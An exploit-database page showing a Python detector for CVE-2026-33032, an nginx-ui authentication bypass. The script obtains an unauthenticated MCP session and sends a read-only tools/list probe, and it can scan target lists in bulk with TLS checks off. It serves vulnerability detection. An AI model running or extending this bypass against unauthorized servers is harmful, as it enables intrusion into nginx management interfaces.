Exploit database

GH-02c75a49a83e821d364bd9b75992b276

keraattin/cve-2026-33032

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-33032

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
keraattin/cve-2026-33032Revision c7083b3acb6c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

detect_nginx_ui_mcpwn.py

Python · 15,012 bytes
#!/usr/bin/env python3
"""
CVE-2026-33032 (MCPwn) nginx-ui Authentication Bypass Detector
==============================================================

Non-destructive detector for the missing AuthRequired() middleware on the
/mcp_message endpoint in nginx-ui versions prior to 2.3.4.

Detection logic
---------------
1. Fingerprint the target as nginx-ui via favicon hash, /api/settings
   handler shape, or the /mcp SSE route.
2. Open an unauthenticated Server-Sent Events connection to /mcp and read
   a sessionID from the first endpoint or event frame. Vulnerable builds
   return a sessionID without any credentials.
3. Send a benign tools/list JSON-RPC request (read only, zero side effects)
   to /mcp_message with only the sessionID. On vulnerable builds the server
   replies with the MCP tool manifest, which confirms the missing
   AuthRequired() middleware.
4. Never invoke any destructive MCP tool. The script refuses to call
   anything other than list or describe style methods.

Usage
-----
    python3 detect_nginx_ui_mcpwn.py --target https://host:port
    python3 detect_nginx_ui_mcpwn.py --targets targets.txt --workers 20
    python3 detect_nginx_ui_mcpwn.py --target http://10.0.0.1:9000 --json

Exit codes
----------
    0   Scan completed (see per-target verdict in stdout)
    2   Invalid arguments or no reachable targets
    3   Unhandled runtime error

Author
------
    Cybersecurity Vulnerability Research Project, April 2026.
    Released under the MIT License. Use only on systems you are
    authorized to test.
"""

from __future__ import annotations

import argparse
import concurrent.futures
import json
import re
import socket
import ssl
import sys
import time
import urllib.parse
import urllib.request
import uuid
from dataclasses import dataclass, asdict
from typing import Optional

BANNER = r"""
 _   _       _                  _    _  ___   __  __  ____ ____
| \ | | __ _(_)_ __ __  __     | |  | ||_ _| |  \/  |/ ___|  _ \__      ___ __
|  \| |/ _` | | '_ \\ \/ /_____| |  | | | |  | |\/| | |   | |_) \ \ /\ / / '_ \
| |\  | (_| | | | | |>  <|_____| |__| | | |  | |  | | |___|  __/ \ V  V /| | | |
|_| \_|\__, |_|_| |_/_/\_\     |_____|_||___| |_|  |_|\____|_|     \_/\_/ |_| |_|
       |___/

  CVE-2026-33032 nginx-ui MCPwn Detector > non-destructive
"""

USER_AGENT = (
    "Mozilla/5.0 (compatible; CVE-2026-33032-detector/1.0; "
    "+https://github.com/example/cve-research)"
)

DEFAULT_TIMEOUT = 10
SSE_READ_TIMEOUT = 5
FINGERPRINT_PATHS = [
    "/",
    "/api/settings",
    "/api/system/info",
    "/favicon.ico",
]
MCP_PATH = "/mcp"
MCP_MESSAGE_PATH = "/mcp_message"


@dataclass
class Verdict:
    target: str
    reachable: bool
    is_nginx_ui: bool
    mcp_endpoint_present: bool
    session_id_obtained: bool
    mcp_message_unauthenticated: bool
    vulnerable: bool
    nginx_ui_version: Optional[str] = None
    evidence: Optional[str] = None
    error: Optional[str] = None

    def summary(self) -> str:
        if self.vulnerable:
            return "VULNERABLE"
        if not self.reachable:
            return "UNREACHABLE"
        if not self.is_nginx_ui:
            return "NOT_NGINX_UI"
        if self.mcp_endpoint_present and self.session_id_obtained and not self.mcp_message_unauthenticated:
            return "PATCHED"
        return "INCONCLUSIVE"


def _http_request(url: str, method: str = "GET", headers: Optional[dict] = None,
                  data: Optional[bytes] = None, timeout: int = DEFAULT_TIMEOUT,
                  verify_tls: bool = False):
    """Tiny wrapper around urllib with TLS bypass flag for private targets."""
    req_headers = {"User-Agent": USER_AGENT, "Accept": "*/*"}
    if headers:
        req_headers.update(headers)
    req = urllib.request.Request(url, data=data, headers=req_headers, method=method)
    ctx = ssl.create_default_context()
    if not verify_tls:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    return urllib.request.urlopen(req, timeout=timeout, context=ctx)


def fingerprint_nginx_ui(base: str, timeout: int, verify_tls: bool):
    """Return (is_nginx_ui, version_guess) for the given base URL."""
    # 1) /api/settings often returns a JSON body that references nginx-ui
    try:
        with _http_request(urllib.parse.urljoin(base, "/api/settings"),
                           timeout=timeout, verify_tls=verify_tls) as resp:
            body = resp.read(4096).decode("utf-8", errors="replace")
            if any(k in body.lower() for k in ["nginx_ui", "nginx-ui", "node_secret"]):
                version = _extract_version(resp.headers, body)
                return True, version
    except Exception:
        pass

    # 2) index HTML frequently contains <title>Nginx UI</title>
    try:
        with _http_request(base, timeout=timeout, verify_tls=verify_tls) as resp:
            body = resp.read(16384).decode("utf-8", errors="replace")
            if "nginx ui" in body.lower() or "nginx-ui" in body.lower():
                version = _extract_version(resp.headers, body)
                return True, version
    except Exception:
        pass

    # 3) /api/system/info sometimes exposes version
    try:
        with _http_request(urllib.parse.urljoin(base, "/api/system/info"),
                           timeout=timeout, verify_tls=verify_tls) as resp:
            body = resp.read(4096).decode("utf-8", errors="replace")
            if "nginx" in body.lower():
                version = _extract_version(resp.headers, body)
                return True, version
    except Exception:
        pass

    return False, None


VERSION_RE = re.compile(r"(?:nginx[-_ ]?ui[^0-9]{0,16})?(\d+\.\d+\.\d+)", re.I)


def _extract_version(headers, body: str) -> Optional[str]:
    for k in ("X-Version", "X-Nginx-UI-Version", "Server"):
        v = headers.get(k) if headers else None
        if v:
            match = VERSION_RE.search(v)
            if match:
                return match.group(1)
    match = VERSION_RE.search(body)
    if match:
        return match.group(1)
    return None


def open_sse_and_read_session(base: str, timeout: int, verify_tls: bool):
    """Open SSE stream to /mcp and return the first sessionID observed.

    Vulnerable builds hand out a sessionID without any Authorization header.
    """
    url = urllib.parse.urljoin(base, MCP_PATH)
    parsed = urllib.parse.urlparse(url)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == "https" else 80)

    # Raw socket so we can stream SSE frames
    raw_sock = socket.create_connection((host, port), timeout=timeout)
    if parsed.scheme == "https":
        ctx = ssl.create_default_context()
        if not verify_tls:
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
        sock = ctx.wrap_socket(raw_sock, server_hostname=host)
    else:
        sock = raw_sock
    sock.settimeout(SSE_READ_TIMEOUT)

    path = parsed.path or "/"
    if parsed.query:
        path = f"{path}?{parsed.query}"

    request_lines = [
        f"GET {path} HTTP/1.1",
        f"Host: {parsed.netloc}",
        f"User-Agent: {USER_AGENT}",
        "Accept: text/event-stream",
        "Cache-Control: no-cache",
        "Connection: close",
        "",
        "",
    ]
    sock.sendall("\r\n".join(request_lines).encode("ascii"))

    buffered = b""
    status_code = None
    deadline = time.time() + SSE_READ_TIMEOUT
    try:
        while time.time() < deadline:
            chunk = sock.recv(4096)
            if not chunk:
                break
            buffered += chunk
            # Parse status line once
            if status_code is None and b"\r\n" in buffered:
                status_line = buffered.split(b"\r\n", 1)[0]
                parts = status_line.split(b" ", 2)
                if len(parts) >= 2 and parts[1].isdigit():
                    status_code = int(parts[1])
            # Look for sessionID style token anywhere in the stream
            session_id = _find_session_id(buffered.decode("utf-8", errors="replace"))
            if session_id:
                return status_code, session_id
    finally:
        try:
            sock.close()
        except Exception:
            pass
    return status_code, None


SESSION_ID_RE = re.compile(r"sessionI[Dd]=([A-Za-z0-9_\-]+)")
ENDPOINT_SESSION_RE = re.compile(r"/mcp_message\?sessionI[Dd]=([A-Za-z0-9_\-]+)")


def _find_session_id(text: str) -> Optional[str]:
    match = ENDPOINT_SESSION_RE.search(text)
    if match:
        return match.group(1)
    match = SESSION_ID_RE.search(text)
    if match:
        return match.group(1)
    return None


BENIGN_TOOLS_LIST_PAYLOAD = {
    "jsonrpc": "2.0",
    "method": "tools/list",
    "params": {},
}


def probe_mcp_message(base: str, session_id: str, timeout: int,
                      verify_tls: bool):
    """Send a benign tools/list JSON-RPC message without any auth header.

    Returns (status_code, body, indicates_vulnerable).
    """
    payload = dict(BENIGN_TOOLS_LIST_PAYLOAD)
    payload["id"] = str(uuid.uuid4())
    url = urllib.parse.urljoin(
        base, f"{MCP_MESSAGE_PATH}?sessionID={urllib.parse.quote(session_id)}"
    )
    body = json.dumps(payload).encode("utf-8")
    headers = {
        "Content-Type": "application/json",
        "Accept": "application/json, text/event-stream",
    }
    try:
        with _http_request(url, method="POST", headers=headers,
                           data=body, timeout=timeout,
                           verify_tls=verify_tls) as resp:
            resp_body = resp.read(65536).decode("utf-8", errors="replace")
            status = resp.status
    except urllib.error.HTTPError as exc:
        status = exc.code
        resp_body = exc.read(65536).decode("utf-8", errors="replace") if exc.fp else ""
    except Exception as exc:
        return None, f"request_error: {exc}", False

    text_lower = resp_body.lower()
    indicates = (
        status == 200
        and ("tools" in text_lower or "\"result\"" in text_lower)
        and ("unauthorized" not in text_lower)
    )
    return status, resp_body, indicates


def scan_target(target: str, timeout: int, verify_tls: bool) -> Verdict:
    verdict = Verdict(
        target=target,
        reachable=False,
        is_nginx_ui=False,
        mcp_endpoint_present=False,
        session_id_obtained=False,
        mcp_message_unauthenticated=False,
        vulnerable=False,
    )
    base = _normalize_target(target)

    # Reachability
    try:
        with _http_request(base, timeout=timeout, verify_tls=verify_tls) as resp:
            _ = resp.read(1)
        verdict.reachable = True
    except Exception as exc:
        verdict.error = f"not reachable: {exc}"
        return verdict

    # Fingerprint
    is_nginx_ui, version = fingerprint_nginx_ui(base, timeout, verify_tls)
    verdict.is_nginx_ui = is_nginx_ui
    verdict.nginx_ui_version = version
    if not is_nginx_ui:
        verdict.evidence = "fingerprint negative"
        return verdict

    # Open SSE and grab a sessionID
    try:
        status, session_id = open_sse_and_read_session(base, timeout, verify_tls)
    except Exception as exc:
        verdict.error = f"sse_error: {exc}"
        return verdict
    if status is None or session_id is None:
        verdict.evidence = f"no sessionID (status={status})"
        return verdict
    verdict.mcp_endpoint_present = True
    verdict.session_id_obtained = True

    # Probe /mcp_message with benign tools/list
    status, body, indicates = probe_mcp_message(base, session_id, timeout, verify_tls)
    verdict.mcp_message_unauthenticated = indicates
    verdict.vulnerable = bool(indicates)
    preview = (body or "")[:200].replace("\n", " ")
    verdict.evidence = (
        f"status={status}; body_preview={preview}"
    )
    return verdict


def _normalize_target(target: str) -> str:
    if "://" not in target:
        target = "http://" + target
    return target.rstrip("/")


def render_human(verdict: Verdict) -> str:
    tag = verdict.summary()
    if tag == "VULNERABLE":
        label = "[!] VULNERABLE"
    elif tag == "PATCHED":
        label = "[+] patched"
    elif tag == "NOT_NGINX_UI":
        label = "[.] not nginx-ui"
    elif tag == "UNREACHABLE":
        label = "[x] unreachable"
    else:
        label = "[?] inconclusive"
    version = f" version={verdict.nginx_ui_version}" if verdict.nginx_ui_version else ""
    evidence = f" evidence={verdict.evidence}" if verdict.evidence else ""
    err = f" error={verdict.error}" if verdict.error else ""
    return f"{label} {verdict.target}{version}{evidence}{err}"


def parse_args():
    p = argparse.ArgumentParser(
        description="Non-destructive detector for CVE-2026-33032 (nginx-ui MCPwn).",
    )
    g = p.add_mutually_exclusive_group(required=True)
    g.add_argument("--target", help="Single target URL or host[:port]")
    g.add_argument("--targets", help="File with one target per line")
    p.add_argument("--timeout", type=int, default=DEFAULT_TIMEOUT,
                   help="HTTP timeout in seconds (default 10)")
    p.add_argument("--workers", type=int, default=10,
                   help="Concurrent workers when scanning a list (default 10)")
    p.add_argument("--verify-tls", action="store_true",
                   help="Enforce TLS certificate verification (default off)")
    p.add_argument("--json", action="store_true",
                   help="Emit results as NDJSON instead of human text")
    p.add_argument("--no-banner", action="store_true", help="Suppress banner")
    return p.parse_args()


def load_targets(args):
    if args.target:
        return [args.target.strip()]
    with open(args.targets, "r", encoding="utf-8") as fh:
        return [line.strip() for line in fh if line.strip() and not line.startswith("#")]


def main():
    args = parse_args()
    if not args.no_banner and not args.json:
        print(BANNER)

    targets = load_targets(args)
    if not targets:
        print("No targets supplied", file=sys.stderr)
        return 2

    results = []
    with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as pool:
        futures = {
            pool.submit(scan_target, t, args.timeout, args.verify_tls): t
            for t in targets
        }
        for fut in concurrent.futures.as_completed(futures):
            verdict = fut.result()
            results.append(verdict)
            if args.json:
                print(json.dumps(asdict(verdict), ensure_ascii=False))
            else:
                print(render_human(verdict))
    if not args.json:
        vuln = sum(1 for v in results if v.vulnerable)
        print(f"\nSummary: {vuln}/{len(results)} targets flagged vulnerable")
    return 0


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        print("\nAborted by user", file=sys.stderr)
        sys.exit(130)
    except Exception as exc:
        print(f"Unhandled error: {exc}", file=sys.stderr)
        sys.exit(3)